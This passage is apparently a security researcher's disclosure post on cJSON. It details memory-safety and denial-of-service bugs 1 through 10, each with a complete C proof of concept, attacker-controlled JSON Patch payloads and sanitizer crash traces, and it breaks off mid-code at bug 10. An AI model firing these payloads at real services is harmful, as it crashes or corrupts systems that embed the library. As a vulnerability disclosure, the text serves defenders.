{"slug": "vulnerabilities-in-cjson", "title": "Vulnerabilities in CJSON", "summary": "Security researcher disclosed 33 vulnerabilities in cJSON, the widely used C JSON parser vendored into ESP-IDF and embedded firmware, affecting all versions up to v1.7.19 with no fixes available from the stagnant project. The first bug is a use-after-free in the overwrite_item() function that ignores reference and const flags, allowing attacker-controlled JSON Patch operations to free borrowed memory and cause double-free crashes.", "body_md": "cJSON is probably the most widely used JSON parser in the C world. It’s vendored into ESP-IDF, into a lot of embedded firmware, and into a whole lot more server-side C. I found 33 security issues in it, using a mix of AI and some manual fuzzing and review. They affect every version up to and including v1.7.19, and every one of them is still in the current code.\n\nLooking at cJSON’s GitHub, several of these issues have been reported before, some with working proofs of concept attached, and a few of those reports are years old by now. Development has been more or less stagnant for four years. Memory-safety reports sit open and unanswered, and in a few cases the patch that would fix them is sitting right there in the same thread, unmerged. For most of what follows there is simply nothing available to apply. So this is a writeup instead of another bug report. If you ship cJSON, you need to know what’s in it, because nobody is going to hand you a fixed version.\n\nEvery proof of concept below is complete and self-contained. I compiled them all with:\n\n```\ncc -fsanitize=address,undefined -fno-omit-frame-pointer -g -O0 \\\n   -I. cJSON.c cJSON_Utils.c poc.c -o poc -lm\n```\n\nOne thing to know before you try to reproduce any of this. A few of them only crash with AddressSanitizer and UndefinedBehaviorSanitizer enabled *together*, on an unoptimised build, because it’s the instrumentation that fattens the stack frames enough to run off the end. With ASan alone, or at `-O2`\n\n, some of them quietly return `NULL`\n\ninstead. Test with a partial sanitizer set and this library looks considerably healthier than it is.\n\nThe first thirteen are memory-safety issues and a denial of service. The rest are logic bugs, most of which lose data or operate on the wrong object member without saying so. In a library whose whole job is applying somebody else’s patch document to your data, I count those.\n\nNote: I used AI to help write this post, mostly because there are *so many* of them and doing 33 of these by hand is miserable. I have no emotional attachment to this project or to these findings, and getting them published seemed more useful than getting the prose exactly the way I’d write it myself.\n\nIf cJSON is parsing attacker-controlled JSON anywhere in your stack, look at what it would take to move off it. And don’t just merge the unlanded patches sitting on the GitHub repository and call it done, either. Some of those introduce fresh bugs of their own, from what I saw.\n\n##\nBug number 1 (use-after-free)\n\n###\nDetails\n\n`overwrite_item()`\n\nhandles a JSON Patch operation whose `path`\n\nis the empty string, meaning one that replaces the whole document root. It frees the node’s `child`\n\n, `valuestring`\n\nand `string`\n\nunconditionally:\n\n``` js\n/* cJSON_Utils.c:791 */\nstatic void overwrite_item(cJSON * const root, const cJSON replacement)\n{\n    if (root == NULL)\n    {\n        return;\n    }\n\n    if (root->string != NULL)\n    {\n        cJSON_free(root->string);          /* [ ignores cJSON_StringIsConst ] */\n    }\n    if (root->valuestring != NULL)\n    {\n        cJSON_free(root->valuestring);     /* [ ignores cJSON_IsReference ] */\n    }\n    if (root->child != NULL)\n    {\n        cJSON_Delete(root->child);         /* [ ignores cJSON_IsReference ] */\n    }\n\n    memcpy(root, &replacement, sizeof(cJSON));\n}\n```\n\ncJSON’s own destructor honours both of those flags. This function doesn’t. `cJSON_IsReference`\n\nmeans `child`\n\nand `valuestring`\n\nare borrowed and belong to somebody else, and `cJSON_StringIsConst`\n\nmeans `string`\n\nmust never be freed. A node made by `cJSON_CreateObjectReference()`\n\nholds a borrowed subtree in `child`\n\n, so a patch containing `{\"op\":\"replace\",\"path\":\"\"}`\n\nfrees a subtree the patched node doesn’t own. The real owner then frees it a second time.\n\nThe same helper throws in two more invalid frees while it’s there. Against a node from `cJSON_CreateStringReference()`\n\nit calls `cJSON_free()`\n\non memory that may never have been on the heap. Against one whose key was set with `cJSON_AddItemToObjectCS()`\n\n, it calls `cJSON_free()`\n\non a string literal.\n\n###\nProof of Concept\n\n```\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *owner = cJSON_Parse(\"{\\\"k\\\":{\\\"n\\\":1}}\");\n    cJSON *ref = cJSON_CreateObjectReference(cJSON_GetObjectItem(owner, \"k\"));\n    cJSON *patch = cJSON_Parse(\"[{\\\"op\\\":\\\"replace\\\",\\\"path\\\":\\\"\\\",\\\"value\\\":1}]\");\n\n    cJSONUtils_ApplyPatches(ref, patch);  /* frees owner's \"k\" through the reference */\n    cJSON_Delete(owner);                  /* use-after-free / double free on \"k\" */\n    return 0;\n}\n=================================================================\n==85943==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x0001021554dc bp 0x00016dcaa540 sp 0x00016dcaa538\nREAD of size 8 at 0x606000000260 thread T0\n    #0 0x0001021554d8 in cJSON_Delete cJSON.c:258\n    #1 0x00010215573c in cJSON_Delete cJSON.c:261\n    #2 0x000102189674 in main poc.c:15\n\n0x606000000260 is located 0 bytes inside of 64-byte region [0x606000000260,0x6060000002a0)\nfreed by thread T0 here:\n    #0 0x00010270d424 in free+0x7c\n    #1 0x000102155e00 in cJSON_Delete cJSON.c:273\n    #2 0x000102185a0c in overwrite_item cJSON_Utils.c:801\n    #3 0x00010217e87c in apply_patch cJSON_Utils.c:869\n    #4 0x00010217e1e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056\n    #5 0x00010218966c in main poc.c:14\n\npreviously allocated by thread T0 here:\n    #0 0x00010270d330 in malloc+0x78\n    #1 0x000102157bb0 in cJSON_New_Item cJSON.c:243\n    #2 0x000102172568 in parse_object cJSON.c:1698\n    #3 0x00010215a678 in parse_value cJSON.c:1416\n    #4 0x000102157278 in cJSON_ParseWithLengthOpts cJSON.c:1172\n    #5 0x000102156f80 in cJSON_ParseWithOpts cJSON.c:1143\n    #6 0x00010215b69c in cJSON_Parse cJSON.c:1229\n    #7 0x000102189634 in main poc.c:10\n\nSUMMARY: AddressSanitizer: heap-use-after-free cJSON.c:258 in cJSON_Delete\n```\n\nThe freeing stack is the whole bug. `apply_patch`\n\nreaches `overwrite_item`\n\n, which deletes the borrowed subtree, and the owner’s own `cJSON_Delete`\n\nwalks into it afterwards.\n\nThe attacker controls the trigger, since it’s just `\"path\":\"\"`\n\nin the patch document. The application does have to have handed a reference-type or const-keyed node to the patcher for any of it to matter.\n\n###\nImpact\n\nHeap use-after-free and double free, plus invalid frees of non-heap memory and of string literals.\n\n##\nBug number 2 (use-after-free)\n\n###\nDetails\n\n`cJSONUtils_ApplyPatches()`\n\nwalks the patch array by holding a raw pointer to the current element, calling `apply_patch()`\n\n, and only then reading `->next`\n\n:\n\n```\n/* cJSON_Utils.c:1054 */\nwhile (current_patch != NULL)\n{\n    status = apply_patch(object, current_patch, false);\n    if (status != 0)\n    {\n        return status;\n    }\n    current_patch = current_patch->next;   /* [ current_patch may be freed by now ] */\n}\n```\n\n`apply_patch()`\n\nfrees nodes out of `object`\n\nat three different places: `cJSON_Utils.c:845`\n\nin `overwrite_item`\n\n, `:896`\n\nin the `remove`\n\n/`replace`\n\ndelete, and `:1013`\n\non the `add`\n\npath. Nothing anywhere enforces that `object`\n\nand `patches`\n\nare disjoint trees. So if `object`\n\n*is* the patch array, or is an ancestor of it, a patch can delete the very node the loop is about to step through.\n\nPointer resolution only ever descends through `->child`\n\nand `->next`\n\n, so a `path`\n\ncan’t climb up out of `object`\n\n. That pins the precondition down: `object`\n\nhas to be `patches`\n\n, or has to contain it.\n\nNothing in the headers or the documentation says a word about disjointness. The function is even declared `cJSONUtils_ApplyPatches(cJSON * const object, const cJSON * const patches)`\n\n, so the library promises not to modify `patches`\n\nand then goes and frees nodes reachable through it. Passing the same pointer twice compiles clean under `-Wall -Wextra -Wpedantic`\n\n.\n\n###\nProof of Concept\n\n```\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *a = cJSON_Parse(\"[{\\\"op\\\":\\\"remove\\\",\\\"path\\\":\\\"/0\\\"}]\");\n\n    cJSONUtils_ApplyPatches(a, a);\n\n    return 0;\n}\n=================================================================\n==85787==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x0001001462a8 bp 0x00016fce2ab0 sp 0x00016fce2aa8\nREAD of size 8 at 0x606000000260 thread T0\n    #0 0x0001001462a4 in cJSONUtils_ApplyPatches cJSON_Utils.c:1061\n    #1 0x000100151644 in main poc.c:12\n\n0x606000000260 is located 0 bytes inside of 64-byte region [0x606000000260,0x6060000002a0)\nfreed by thread T0 here:\n    #0 0x0001008b1424 in free+0x7c\n    #1 0x00010011de00 in cJSON_Delete cJSON.c:273\n    #2 0x000100146be4 in apply_patch cJSON_Utils.c:896\n    #3 0x0001001461e0 in cJSONUtils_ApplyPatches cJSON_Utils.c:1056\n    #4 0x000100151644 in main poc.c:12\n\npreviously allocated by thread T0 here:\n    #0 0x0001008b1330 in malloc+0x78\n    #1 0x00010011fbb0 in cJSON_New_Item cJSON.c:243\n    #2 0x0001001387ec in parse_array cJSON.c:1535\n    #3 0x0001001221ec in parse_value cJSON.c:1411\n    #4 0x00010011f278 in cJSON_ParseWithLengthOpts cJSON.c:1172\n    #5 0x00010011ef80 in cJSON_ParseWithOpts cJSON.c:1143\n    #6 0x00010012369c in cJSON_Parse cJSON.c:1229\n    #7 0x000100151634 in main poc.c:10\n\nSUMMARY: AddressSanitizer: heap-use-after-free cJSON_Utils.c:1061 in cJSONUtils_ApplyPatches\n```\n\nThe two stacks line up neatly. `cJSON_Utils.c:1056`\n\nis the `apply_patch`\n\ncall that frees the node, and `cJSON_Utils.c:1061`\n\nis the `current_patch->next`\n\nread five lines below it.\n\nNow, applying a patch array to itself is obviously silly, and if that were the only way in I’d have written this off. It isn’t. Picture an application that takes the document and the patch in one request body and patches in place:\n\n```\ncJSON *req = cJSON_Parse(body);                                  /* {\"doc\":…, \"patch\":[…]} */\ncJSONUtils_ApplyPatches(req, cJSON_GetObjectItem(req, \"patch\")); /* target is an ancestor */\n```\n\nAgainst that, `{\"op\":\"remove\",\"path\":\"/patch\"}`\n\nis a use-after-free the attacker triggers with nothing but the bytes they already control. The safer-looking version of the same code, the one passing `GetObjectItem(req,\"doc\")`\n\n, is fine, because then the two subtrees are disjoint. One argument separates them.\n\nA `replace`\n\nat `/0`\n\ngives you a second, distinct use-after-free *inside* `apply_patch()`\n\nat `cJSON_Utils.c:943`\n\n, and `{\"op\":\"remove\",\"path\":\"\"}`\n\ngives a third through `overwrite_item()`\n\n.\n\n###\nImpact\n\nHeap use-after-free through the public JSON Patch API, reachable from attacker-supplied patch bytes in the request shape above.\n\n##\nBug number 3 (use-after-free)\n\n###\nDetails\n\n`merge_patch()`\n\nhas the same defect in a second function. It iterates the patch object while deleting members from the target:\n\n```\n/* cJSON_Utils.c:1339 */\nwhile (patch_child != NULL)\n{\n    if (cJSON_IsNull(patch_child))\n    {\n        …\n        cJSON_DeleteItemFromObject(target, patch_child->string);   /* [ may free patch_child ] */\n    }\n    …\n    patch_child = patch_child->next;                               /* [ freed ] */\n}\n```\n\nA few lines earlier there’s a second variant, and that one is worse. When `target`\n\nisn’t an object, `merge_patch()`\n\ndeletes it and then immediately duplicates the pointer it has just freed:\n\n```\n/* cJSON_Utils.c:1328 */\ncJSON_Delete(target);\nreturn cJSON_Duplicate(patch, 1);   /* [ patch == target, already freed ] */\n```\n\nThat one is unconditional whenever the caller aliases the two arguments and the target is a scalar. `cJSONUtils_MergePatch(cJSON_Parse(\"1\"), same_pointer)`\n\ndoes it.\n\n###\nProof of Concept\n\nThe documentation for this function does say that `target`\n\nmay be freed and that the return value is the new pointer, so the proof of concept below never touches `t`\n\nafter the call. The sanitizer report fires inside the library, before anything returns. This isn’t me double-freeing in the harness.\n\n```\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\n\nint main(void)\n{\n    cJSON *t = cJSON_Parse(\"{\\\"a\\\":null}\");\n\n    cJSONUtils_MergePatch(t, t);\n\n    return 0;\n}\n=================================================================\n==85866==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x000104eedc5c bp 0x00016af3e920 sp 0x00016af3e918\nREAD of size 8 at 0x606000000260 thread T0\n    #0 0x000104eedc58 in merge_patch cJSON_Utils.c:1376\n    #1 0x000104eed5e4 in cJSONUtils_MergePatch cJSON_Utils.c:1383\n    #2 0x000104ef5644 in main poc.c:12\n\n0x606000000260 is located 0 bytes inside of 64-byte region [0x606000000260,0x6060000002a0)\nfreed by thread T0 here:\n    #0 0x0001057a1424 in free+0x7c\n    #1 0x000104ec1e00 in cJSON_Delete cJSON.c:273\n    #2 0x000104ecd838 in cJSON_DeleteItemFromObject cJSON.c:2325\n    #3 0x000104eed8ec in merge_patch cJSON_Utils.c:1350\n    #4 0x000104eed5e4 in cJSONUtils_MergePatch cJSON_Utils.c:1383\n    #5 0x000104ef5644 in main poc.c:12\n\npreviously allocated by thread T0 here:\n    #0 0x0001057a1330 in malloc+0x78\n    #1 0x000104ec3bb0 in cJSON_New_Item cJSON.c:243\n    #2 0x000104ede568 in parse_object cJSON.c:1698\n    #3 0x000104ec6678 in parse_value cJSON.c:1416\n    #4 0x000104ec3278 in cJSON_ParseWithLengthOpts cJSON.c:1172\n    #5 0x000104ec2f80 in cJSON_ParseWithOpts cJSON.c:1143\n    #6 0x000104ec769c in cJSON_Parse cJSON.c:1229\n    #7 0x000104ef5634 in main poc.c:10\n\nSUMMARY: AddressSanitizer: heap-use-after-free cJSON_Utils.c:1376 in merge_patch\n```\n\nSame shape as before, both stacks inside `merge_patch`\n\n: `:1350`\n\ndeletes the member and `:1376`\n\nwalks through it anyway.\n\n###\nImpact\n\nHeap use-after-free in the RFC 7396 merge-patch API.\n\n##\nBug number 4 (use-after-free)\n\n###\nDetails\n\n`cJSON_ReplaceItemViaPointer()`\n\nfrees the item it replaces at `cJSON.c:2412`\n\n. Two things combine to make that a problem. The object APIs perform no type check whatsoever, so they’ll happily operate on a `cJSON_String`\n\n, and nothing rejects a replacement that happens to be the parent itself. Put those together and the library is left holding a pointer to memory it has already freed, which `create_reference()`\n\nthen copies at `cJSON.c:2020`\n\n.\n\n###\nProof of Concept\n\n```\n#include \"cJSON.h\"\n\nint main(void)\n{\n    cJSON *s = cJSON_Parse(\"\\\"x\\\"\");          /* a string, not a container */\n    cJSON *ref = NULL;\n\n    cJSON_AddItemReferenceToObject(s, \"\", s); /* no type check: string gains a child */\n    ref = cJSON_GetArrayItem(s, 0);           /* the library's own pointer to it */\n    cJSON_ReplaceItemInObject(s, \"\", s);      /* frees ref at cJSON.c:2412 */\n    cJSON_AddItemReferenceToObject(s, \"\", ref);\n    return 0;\n}\n=================================================================\n==85684==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x0001055631fc bp 0x00016af0e9c0 sp 0x00016af0e170\nREAD of size 64 at 0x606000000260 thread T0\n    #0 0x0001055631f8 in __asan_memcpy+0x400\n    #1 0x000104efab5c in create_reference cJSON.c:2020\n    #2 0x000104efaed4 in cJSON_AddItemReferenceToObject cJSON.c:2147\n    #3 0x000104f25684 in main poc.c:15\n\n0x606000000260 is located 0 bytes inside of 64-byte region [0x606000000260,0x6060000002a0)\nfreed by thread T0 here:\n    #0 0x000105565424 in free+0x7c\n    #1 0x000104ef1e00 in cJSON_Delete cJSON.c:273\n    #2 0x000104eff0fc in cJSON_ReplaceItemViaPointer cJSON.c:2412\n    #3 0x000104eff6fc in replace_item_in_object cJSON.c:2447\n    #4 0x000104eff1b0 in cJSON_ReplaceItemInObject cJSON.c:2452\n    #5 0x000104f25674 in main poc.c:14\n\npreviously allocated by thread T0 here:\n    #0 0x000105565330 in malloc+0x78\n    #1 0x000104ef3bb0 in cJSON_New_Item cJSON.c:243\n    #2 0x000104efaad8 in create_reference cJSON.c:2014\n    #3 0x000104efaed4 in cJSON_AddItemReferenceToObject cJSON.c:2147\n    #4 0x000104f25654 in main poc.c:12\n\nSUMMARY: AddressSanitizer: heap-use-after-free cJSON.c:2020 in create_reference\n```\n\nThe read is 64 bytes wide, which is the entire `cJSON`\n\nstruct, because `create_reference`\n\n`memcpy`\n\ns the freed node in one go.\n\n###\nImpact\n\nHeap use-after-free.\n\n##\nBug number 5 (NULL pointer dereference)\n\n###\nDetails\n\n`cJSON_DetachItemViaPointer()`\n\nwrites through `parent->child`\n\nwithout checking that it’s non-`NULL`\n\n:\n\n``` php\n/* cJSON.c:2284 */\nparent->child->prev = item->prev;   /* [ parent->child may be NULL ] */\n```\n\nThis one is a regression, and an unusually clear one. The function used to be guarded with `(parent == NULL) || (parent->child == NULL) || (item == NULL) || (item->prev == NULL)`\n\n. Two days later the same author rewrote the test as `(parent == NULL) || (item == NULL) || (item != parent->child && item->prev == NULL)`\n\n, and dropped the `parent->child`\n\ncheck on the way past.\n\nWhatever guard survived dictates the shape of the proof of concept. Here the item has to come from a *different* container, so that `item->prev`\n\nis non-`NULL`\n\nand the earlier check waves it through to the store.\n\n###\nProof of Concept\n\n```\n#include \"cJSON.h\"\n\nint main(void)\n{\n    cJSON *parent = cJSON_Parse(\"{}\");      /* empty container: child == NULL */\n    cJSON *other = cJSON_Parse(\"[1,2]\");\n\n    cJSON_DetachItemViaPointer(parent, cJSON_GetArrayItem(other, 1));\n    return 0;\n}\ncJSON.c:2284:24: runtime error: member access within null pointer of type 'struct cJSON'\n    #0 0x000102f01508 in cJSON_DetachItemViaPointer cJSON.c:2284\n    #1 0x000102f29668 in main poc.c:14\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON.c:2284:24\n\n==85527==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x000102f01584 bp 0x00016cf0ab40 sp 0x00016cf0a6e0 T0)\n==85527==The signal is caused by a WRITE memory access.\n==85527==Hint: address points to the zero page.\n    #0 0x000102f01584 in cJSON_DetachItemViaPointer cJSON.c:2284\n    #1 0x000102f29668 in main poc.c:14\n\nSUMMARY: AddressSanitizer: SEGV cJSON.c:2284 in cJSON_DetachItemViaPointer\n```\n\nAddress `0x8`\n\nis the offset of `prev`\n\nwithin `cJSON`\n\n. Note that it’s a write, not a read.\n\n###\nImpact\n\nNULL pointer dereference through the plain public API, resulting in Denial of Service.\n\n##\nBug number 6 (stack exhaustion)\n\n###\nDetails\n\nNothing checks that the replacement passed to `cJSON_ReplaceItemInArray()`\n\nisn’t the array itself. Replace an array’s own element with the array and you get `a->child = a`\n\n, a self-referential cycle, and the function reports success. `cJSON_Delete()`\n\nthen recurses on the same node forever.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include \"cJSON.h\"\n\nint main(void)\n{\n    cJSON *a = cJSON_Parse(\"[1]\");\n    int rc = cJSON_ReplaceItemInArray(a, 0, a);\n\n    printf(\"returned %d, (a->child == a) is %d\\n\", rc, a->child == a);\n    fflush(stdout);\n    cJSON_Delete(a);\n    return 0;\n}\nphp\nreturned 1, (a->child == a) is 1\n==85671==ERROR: AddressSanitizer: stack-overflow on address 0x00016d037ff8 (pc 0x0001025cd6d0 bp 0x00016d038100 sp 0x00016d037e10 T0)\n    #0 0x0001025cd6d0 in cJSON_Delete cJSON.c:261\n    #1 0x0001025cd73c in cJSON_Delete cJSON.c:261\n    #2 0x0001025cd73c in cJSON_Delete cJSON.c:261\n    #3 0x0001025cd73c in cJSON_Delete cJSON.c:261\n    [ ... 248 identical frames elided ... ]\n    #252 0x0001025cd73c in cJSON_Delete cJSON.c:261\n    #253 0x0001025cd73c in cJSON_Delete cJSON.c:261\n    #254 0x0001025cd73c in cJSON_Delete cJSON.c:261\nSUMMARY: AddressSanitizer: stack-overflow cJSON.c:261 in cJSON_Delete\n```\n\nEvery frame is the same line recursing on the same node. The first line of the output is the more interesting one, though. The API returns `1`\n\n, meaning success, having just corrupted the structure it was handed.\n\n###\nImpact\n\nStack exhaustion on the subsequent delete, resulting in Denial of Service.\n\n##\nBug number 7 (use-after-free)\n\n###\nDetails\n\n`cJSON_ParseWithOpts()`\n\nreturns early when you hand it a `NULL`\n\nvalue, at `cJSON.c:1135-1138`\n\n, and that early return sits *before* the point where the function resets `global_error`\n\n. So `cJSON_GetErrorPtr()`\n\ncarries on handing back a pointer into whatever buffer the previous failed parse was reading, which the caller has very likely freed by then.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include \"cJSON.h\"\n\nint main(void)\n{\n    char *doc = strdup(\"{\\\"a\\\":\");\n\n    cJSON_Parse(doc);                 /* fails; global_error.json = doc */\n    free(doc);\n    cJSON_Parse(NULL);                /* early return, global_error untouched */\n    printf(\"%c\\n\", *cJSON_GetErrorPtr());   /* heap-use-after-free */\n    return 0;\n}\n=================================================================\n==85554==ERROR: AddressSanitizer: heap-use-after-free on address 0x6020000000d5 at pc 0x0001020e56c4 bp 0x00016dd4eb40 sp 0x00016dd4eb38\nREAD of size 1 at 0x6020000000d5 thread T0\n    #0 0x0001020e56c0 in main poc.c:17\n\n0x6020000000d5 is located 5 bytes inside of 6-byte region [0x6020000000d0,0x6020000000d6)\nfreed by thread T0 here:\n    #0 0x0001029d5424 in free+0x7c\n    #1 0x0001020e5650 in main poc.c:15\n\npreviously allocated by thread T0 here:\n    #0 0x0001029cf300 in strdup+0x108\n    #1 0x0001020e563c in main poc.c:12\n\nSUMMARY: AddressSanitizer: heap-use-after-free poc.c:17 in main\n```\n\nThe read is in `main`\n\n, and that’s rather the point. The library handed the caller a pointer 5 bytes into a 6-byte region the caller had already freed, and there is no way for the caller to know that. Everything about the pointer looks fine.\n\nWhile I was in here, the neighbouring line caught my eye too:\n\n``` js\n/* cJSON.c:96 */\nreturn (const char*) (global_error.json + global_error.position);\n```\n\nBefore any failed parse, `global_error`\n\nis `{ NULL, 0 }`\n\n, so this applies a zero offset to a null pointer, which is undefined behaviour per C17 6.5.6p8. A bare call to `cJSON_GetErrorPtr()`\n\nin a fresh process is enough to trip it:\n\n```\ncJSON.c:96:45: runtime error: applying zero offset to null pointer\n    #0 0x0001007fc95c in cJSON_GetErrorPtr cJSON.c:96\n    #1 0x00010083162c in main poc.c:9\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior cJSON.c:96:45\n```\n\n###\nImpact\n\nThe library hands the application a dangling pointer during ordinary error handling.\n\n##\nBug number 8 (stack exhaustion)\n\n###\nDetails\n\n`CJSON_NESTING_LIMIT`\n\nbounds the parser at 1000 levels. `CJSON_CIRCULAR_LIMIT`\n\n, which bounds `cJSON_Duplicate()`\n\n, is set to 10000 – ten times higher:\n\n```\n/* cJSON.h:143 */\n#define CJSON_CIRCULAR_LIMIT 10000\n```\n\nTen thousand recursive frames don’t fit in a default stack once the build is instrumented, so the guard never gets the chance to fire. I measured the survivable depth at the default `ulimit -s 8176`\n\n:\n\n``` php\n-O0, address+undefined     5333 frames    (~1569 B/frame)   -> overflows\n-O0, undefined only        7363 frames                      -> overflows\n-O0, address only         13756 frames                      -> returns NULL\n-O2, address+undefined    65348 frames                      -> returns NULL\n-O0, no sanitizer         87155 frames                      -> returns NULL\n```\n\nThat second row is the one that matters, because it is cJSON’s own build configuration. The project’s sanitizer option passes `-fsanitize=undefined -fsanitize=integer -fno-sanitize-recover`\n\nand no `-O`\n\nflag at all. Build the repository’s own test suite with its own option, run it at the default stack limit, and you get this:\n\n```\n==83616==ERROR: UndefinedBehaviorSanitizer: stack-overflow\n    #254 in cJSON_Duplicate_rec\nSUMMARY: UndefinedBehaviorSanitizer: stack-overflow in cJSON_New_Item\n```\n\nThe last test to pass is at `tests/misc_tests.c:813`\n\n. The one that aborts is on the next line: `cjson_should_not_follow_too_deep_circular_references`\n\n, which is the regression test somebody wrote for this exact bug.\n\n###\nProof of Concept\n\n```\n#include \"cJSON.h\"\n\nint main(void)\n{\n    cJSON *outer = cJSON_CreateArray();\n    cJSON *inner = cJSON_CreateArray();\n\n    cJSON_AddItemToArray(outer, inner);\n    cJSON_AddItemToArray(inner, outer);   /* cycle: outer -> inner -> outer */\n    cJSON_Duplicate(outer, 1);\n    return 0;\n}\n==85541==ERROR: AddressSanitizer: stack-overflow on address 0x00016d49fdc0 (pc 0x000102b012e4 bp 0x00016d4a05f0 sp 0x00016d49fdc0 T0)\n    #0 0x000102b012e4 in malloc+0x2c\n    #1 0x000102167bb0 in cJSON_New_Item cJSON.c:243\n    #2 0x0001021755d4 in cJSON_Duplicate_rec cJSON.c:2802\n    #3 0x000102176380 in cJSON_Duplicate_rec cJSON.c:2839\n    [ ... 248 identical frames elided ... ]\n    #252 0x000102176380 in cJSON_Duplicate_rec cJSON.c:2839\n    #253 0x000102176380 in cJSON_Duplicate_rec cJSON.c:2839\n    #254 0x000102176380 in cJSON_Duplicate_rec cJSON.c:2839\nSUMMARY: AddressSanitizer: stack-overflow cJSON.c:243 in cJSON_New_Item\n```\n\nAddressSanitizer truncates the backtrace at 255 frames, so what you see is the shape of the recursion and not the depth it actually got to. `cJSON.c:2839`\n\nis the `->next`\n\nchain duplication.\n\n###\nImpact\n\nStack exhaustion, resulting in Denial of Service.\n\n##\nBug number 9 (stack exhaustion)\n\n###\nDetails\n\nParsing is depth-limited, and printing has been depth-limited for a while now. `cJSON_Delete()`\n\nis neither:\n\n``` php\n/* cJSON.c:261 */\ncJSON_Delete(item->child);   /* [ no depth bound ] */\n```\n\nOn its own that only matters to callers who build trees by hand, which is niche enough to ignore. JSON Patch is what makes it interesting, because it hands an attacker a way to build one. The `copy`\n\noperation duplicates a subtree and inserts it with no check on the resulting depth, so each operation roughly doubles it. Starting from the deepest document the parser will accept, four operations take you from 999 to nearly 8000 and then off the end of the stack:\n\n```\ndepth 999: copying /0 into the deepest array\ndepth 1997: copying /0 into the deepest array\ndepth 3993: copying /0 into the deepest array\ndepth 7985: copying /0 into the deepest array\n==85968==ERROR: AddressSanitizer: stack-overflow on address 0x00016d20bcc0 (pc 0x000102b152e4 bp 0x00016d20c4f0 sp 0x00016d20bcc0 T0)\n    #0 0x000102b152e4 in malloc+0x2c\n    #1 0x0001023fbbb0 in cJSON_New_Item cJSON.c:243\n    #2 0x0001024095d4 in cJSON_Duplicate_rec cJSON.c:2802\n    #3 0x00010240a380 in cJSON_Duplicate_rec cJSON.c:2839\n    [ ... 248 identical frames elided ... ]\n    #252 0x00010240a380 in cJSON_Duplicate_rec cJSON.c:2839\n    #253 0x00010240a380 in cJSON_Duplicate_rec cJSON.c:2839\n    #254 0x00010240a380 in cJSON_Duplicate_rec cJSON.c:2839\nSUMMARY: AddressSanitizer: stack-overflow cJSON.c:243 in cJSON_New_Item\n```\n\nNote where it dies. That’s inside the `copy`\n\noperation’s own `cJSON_Duplicate`\n\n, not in some later traversal, and the document the attacker sent is a four-element patch array.\n\nThe growth is bounded, though only by accident. `cJSON_Duplicate`\n\n’s own circular-reference check eventually refuses, which caps the achievable depth somewhere around 20000.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include <string.h>\n#include \"cJSON.h\"\n#include \"cJSON_Utils.h\"\nstatic char source[2000], path[20000];\n\nint main(void)\n{\n    cJSON *doc, *patch, *node;\n    int i, n;\n    memset(source, '[', 999);\n    memset(source + 999, ']', 999);\n    doc = cJSON_Parse(source);  /* the deepest tree cJSON_Parse will accept */\n    patch = cJSON_Parse(\"[{\\\"op\\\":\\\"copy\\\",\\\"from\\\":\\\"/0\\\",\\\"path\\\":\\\"\\\"}]\");\n    for (i = 0; i < 4; i++) {\n        for (n = 0, node = doc; node->child; node = node->child, n += 2) memcpy(path + n, \"/0\", 2);\n        memcpy(path + n, \"/-\", 3);  /* append position inside the deepest array */\n        cJSON_SetValuestring(cJSON_GetObjectItem(patch->child, \"path\"), path);\n        printf(\"depth %d: copying /0 into the deepest array\\n\", n / 2 + 1);\n        fflush(stdout);\n        cJSONUtils_ApplyPatches(doc, patch);\n    }\n    return 0;\n}\n```\n\nFor the unbounded `cJSON_Delete()`\n\non its own, without any patches involved, a hand-built 100000-deep array is enough:\n\n```\nbuilt a 100000-deep array by hand (the parser would reject it); cJSON_Delete...\n==85749==ERROR: AddressSanitizer: stack-overflow on address 0x00016d3ebe30 (pc 0x0001022193f4 bp 0x00016d3ec140 sp 0x00016d3ebe50 T0)\n    #0 0x0001022193f4 in cJSON_Delete cJSON.c:254\n    #1 0x00010221973c in cJSON_Delete cJSON.c:261\n    [ ... 251 identical frames elided ... ]\n    #253 0x00010221973c in cJSON_Delete cJSON.c:261\n    #254 0x00010221973c in cJSON_Delete cJSON.c:261\nSUMMARY: AddressSanitizer: stack-overflow cJSON.c:254 in cJSON_Delete\n```\n\n###\nImpact\n\nStack exhaustion from an attacker-supplied multi-operation patch document, resulting in Denial of Service. Whether it actually crashes depends on your stack size. A 512 KB thread stack, which is the macOS pthread default and fairly typical of embedded targets, goes over without much trouble.\n\n##\nBug number 10 (denial of service)\n\n###\nDetails\n\n`cJSON_Compare()`\n\nrecurses twice over every object level. The code says so itself:\n\n```\n/* cJSON.c:3160 */\ncJSON_ArrayForEach(a_element, a)\n{\n    b_element = get_object_item(b, a_element->string, case_sensitive);\n    …\n    if (!cJSON_Compare(a_element, b_element, case_sensitive))\n    {\n        return false;\n    }\n}\n\n/* doing this twice, once from a's perspective and once from b's perspective,\n * makes it so that the order of the members doesn't matter, but it is a bit\n * of a hack, just a fix for now */\ncJSON_ArrayForEach(b_element, b)\n{\n    …\n    if (!cJSON_Compare(b_element, a_element, case_sensitive))\n    {\n        return false;\n    }\n}\n```\n\nThere’s no depth guard. The result is 2^depth, not the quadratic behaviour you might expect from a nested-loop lookup, and every extra level of nesting doubles the runtime. I measured 0.258 s at depth 22, 0.513 s at 23, 1.019 s at 24, 2.048 s at 25, 8.215 s at 27, and 23.5 s at 31.\n\nThe parser accepts 1000 levels, so about 7 KB of input buys you 2^1000 comparisons. The worst case needs the two documents to be equal, since a mismatch short-circuits, and equal documents are of course the common case for a “has this changed?” check.\n\n###\nProof of Concept\n\n```\n#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#include \"cJSON.h\"\nenum { 